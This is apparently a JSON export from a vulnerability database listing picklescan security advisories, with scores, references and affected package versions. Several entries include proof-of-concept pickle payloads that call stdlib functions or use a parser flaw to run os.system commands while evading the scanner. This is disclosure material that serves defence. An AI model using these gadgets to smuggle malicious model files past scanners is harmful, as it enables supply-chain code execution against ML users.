                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
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                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
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                        {
                            "vulnerability": "VCID-gbvh-fs1r-xqcw"
                        },
                        {
                            "vulnerability": "VCID-hg5h-54nq-bber"
                        },
                        {
                            "vulnerability": "VCID-jsfv-qjzd-87ck"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.29"
                }
            ],
            "aliases": [
                "GHSA-9xph-j2h6-g47v"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-6723-ghp7-yqd1"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360638?format=api",
            "vulnerability_id": "VCID-6pqf-4qcr-ckac",
            "summary": "Picklescan is missing detection when calling built-in python doctest.debug_script\n### Summary\n\nUsing doctest.debug_script function, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to doctest.debug_script function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nfrom doctest import debug_script\n\nclass EvilDoctestDebugScript:\n    def __reduce__(self):\n        # debug_script(src, pm=True) -> exec(src, ...)\n        return debug_script, (\"__import__('os').system('whoami')\", True)\n\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-fqq6-7vqf-w3fg",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-fqq6-7vqf-w3fg"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-fqq6-7vqf-w3fg",
                    "reference_id": "GHSA-fqq6-7vqf-w3fg",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-fqq6-7vqf-w3fg"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89082?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.30",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
                        },
                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-gbvh-fs1r-xqcw"
                        },
                        {
                            "vulnerability": "VCID-hg5h-54nq-bber"
                        },
                        {
                            "vulnerability": "VCID-jsfv-qjzd-87ck"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.30"
                }
            ],
            "aliases": [
                "GHSA-fqq6-7vqf-w3fg"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-6pqf-4qcr-ckac"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360659?format=api",
            "vulnerability_id": "VCID-6smr-kf6r-53gc",
            "summary": "Picklescan has a missing detection when calling built-in python idlelib.autocomplete.AutoComplete.get_entity\n### Summary\n\nUsing idlelib.autocomplete.AutoComplete.get_entity, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to idlelib.autocomplete.AutoComplete.get_entity function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nclass EvilIdlelibAutocompleteGetEntity:\n    def __reduce__(self):\n        from idlelib.autocomplete import AutoComplete\n        return AutoComplete().get_entity, (\"__import__('os').system('whoami')\",)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/aecd11be98702caa9ba9b12189d91ad596a36114",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/aecd11be98702caa9ba9b12189d91ad596a36114"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-6w4w-5w54-rjvr",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-6w4w-5w54-rjvr"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-6w4w-5w54-rjvr",
                    "reference_id": "GHSA-6w4w-5w54-rjvr",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-6w4w-5w54-rjvr"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89081?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.29",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
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                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
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                            "vulnerability": "VCID-ay9k-cbe6-wye5"
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                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
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                        },
                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
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                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-gbvh-fs1r-xqcw"
                        },
                        {
                            "vulnerability": "VCID-hg5h-54nq-bber"
                        },
                        {
                            "vulnerability": "VCID-jsfv-qjzd-87ck"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.29"
                }
            ],
            "aliases": [
                "GHSA-6w4w-5w54-rjvr"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-6smr-kf6r-53gc"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360668?format=api",
            "vulnerability_id": "VCID-7dgj-c6cm-v3bt",
            "summary": "Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcode\n### Summary\n\nUsing idlelib.pyshell.ModifiedInterpreter.runcode function, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcode function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\n\nfrom idlelib.pyshell import ModifiedInterpreter\nfrom types import SimpleNamespace\n\nclass EvilIdlelibPyshellModifiedInterpreterRuncode:\n    def __reduce__(self):\n        payload = \"__import__('os').system('whoami')\"\n        fake_self = SimpleNamespace(\n            locals={},\n            tkconsole=SimpleNamespace(\n                executing=False,\n                beginexecuting=str,\n                canceled=False,\n                closing=False,\n                showtraceback=str,\n                endexecuting=str,\n                stderr=None,\n                text=SimpleNamespace(),\n                getvar=str\n            ),\n            rpcclt=None,\n            debugger=None,\n            checklinecache=str,\n            active_seq=None,\n            showtraceback=str,\n            canceled=False,\n            closing=False\n        )\n        return ModifiedInterpreter.runcode, (fake_self, payload)\n\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-3gf5-cxq9-w223",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-3gf5-cxq9-w223"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-3gf5-cxq9-w223",
                    "reference_id": "GHSA-3gf5-cxq9-w223",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-3gf5-cxq9-w223"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89082?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.30",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
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                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
                        },
                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-gbvh-fs1r-xqcw"
                        },
                        {
                            "vulnerability": "VCID-hg5h-54nq-bber"
                        },
                        {
                            "vulnerability": "VCID-jsfv-qjzd-87ck"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.30"
                }
            ],
            "aliases": [
                "GHSA-3gf5-cxq9-w223"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-7dgj-c6cm-v3bt"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360647?format=api",
            "vulnerability_id": "VCID-7jv5-uxzs-cucb",
            "summary": "Picklescan has a missing detection when calling built-in python idlelib.autocomplete.AutoComplete.fetch_completions\n### Summary\n\nUsing idlelib.autocomplete.AutoComplete.fetch_completions, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to idlelib.autocomplete.AutoComplete.fetch_completions function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nclass EvilIdlelibAutocompleteFetchCompletions:\n    def __reduce__(self):\n        from idlelib.autocomplete import AutoComplete, ATTRS\n        return AutoComplete().fetch_completions, (\"__import__('os').system('whoami')\", ATTRS)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/aecd11be98702caa9ba9b12189d91ad596a36114",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/aecd11be98702caa9ba9b12189d91ad596a36114"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7cq8-mj8x-j263",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7cq8-mj8x-j263"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-7cq8-mj8x-j263",
                    "reference_id": "GHSA-7cq8-mj8x-j263",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-7cq8-mj8x-j263"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89081?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.29",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
                        },
                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-gbvh-fs1r-xqcw"
                        },
                        {
                            "vulnerability": "VCID-hg5h-54nq-bber"
                        },
                        {
                            "vulnerability": "VCID-jsfv-qjzd-87ck"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.29"
                }
            ],
            "aliases": [
                "GHSA-7cq8-mj8x-j263"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-7jv5-uxzs-cucb"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360675?format=api",
            "vulnerability_id": "VCID-83zm-7pnx-gkag",
            "summary": "Picklescan has a missing detection when calling built-in python trace.Trace.run\n### Summary\n\nUsing trace.Trace.run, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to trace.Trace.run function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nclass EvilTraceRun:\n    def __reduce__(self):\n        from trace import Trace\n        payload = \"__import__('os').system('whoami')\"\n        return Trace.run, (Trace(), payload)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/aecd11be98702caa9ba9b12189d91ad596a36114",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/aecd11be98702caa9ba9b12189d91ad596a36114"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-5qwp-399c-mjwf",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-5qwp-399c-mjwf"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-5qwp-399c-mjwf",
                    "reference_id": "GHSA-5qwp-399c-mjwf",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-5qwp-399c-mjwf"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89081?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.29",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
                        },
                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-gbvh-fs1r-xqcw"
                        },
                        {
                            "vulnerability": "VCID-hg5h-54nq-bber"
                        },
                        {
                            "vulnerability": "VCID-jsfv-qjzd-87ck"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.29"
                }
            ],
            "aliases": [
                "GHSA-5qwp-399c-mjwf"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-83zm-7pnx-gkag"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360665?format=api",
            "vulnerability_id": "VCID-8bj4-tmz9-gyau",
            "summary": "Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass\n### Details\nThere's a parsing logic error in picklescan and modelscan while trying to deal with opcode `STACK_GLOBAL`.\nFunction `_list_globals` when handling `STACK_GLOBAL` at position `n`, it is expected to track two arguments but in wrong range. The loop only consider the range from `1` to `n-1` but forgets to consider the opcode at position `0`. The correct range should be `0` to `n-1`. Attacker can put arg in position `0`, thus the parser can only tract one argument. Then, the exception https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281 will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions.\n\nExample:\n```\n    0: S    STRING     'os' --> arg 0: STRING (untracked argument due to wrong scanning range)\n    6: S    STRING     'system' --> arg 1: STRING (tracked argument)\n   16: \\x93 STACK_GLOBAL\n   17: S    STRING     'ls'\n   23: \\x85 TUPLE1\n   24: R    REDUCE\n   25: .    STOP\n```\n\n\n### PoC\n``` python\nimport pickle\npayload = b\"S'os'\\nS'system'\\n\\x93S'ls'\\n\\x85R.\"\nwith open('bad_pickle.pkl', 'wb') as f:\n    f.write(payload)\npickle.load(open('bad_pickle.pkl', 'rb'))\n```\n\n### Impact\nDetection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection. \n\n### Fix\nTo fix the range here, change `range(1, n)` to `range(1, n+1)` to ensure that 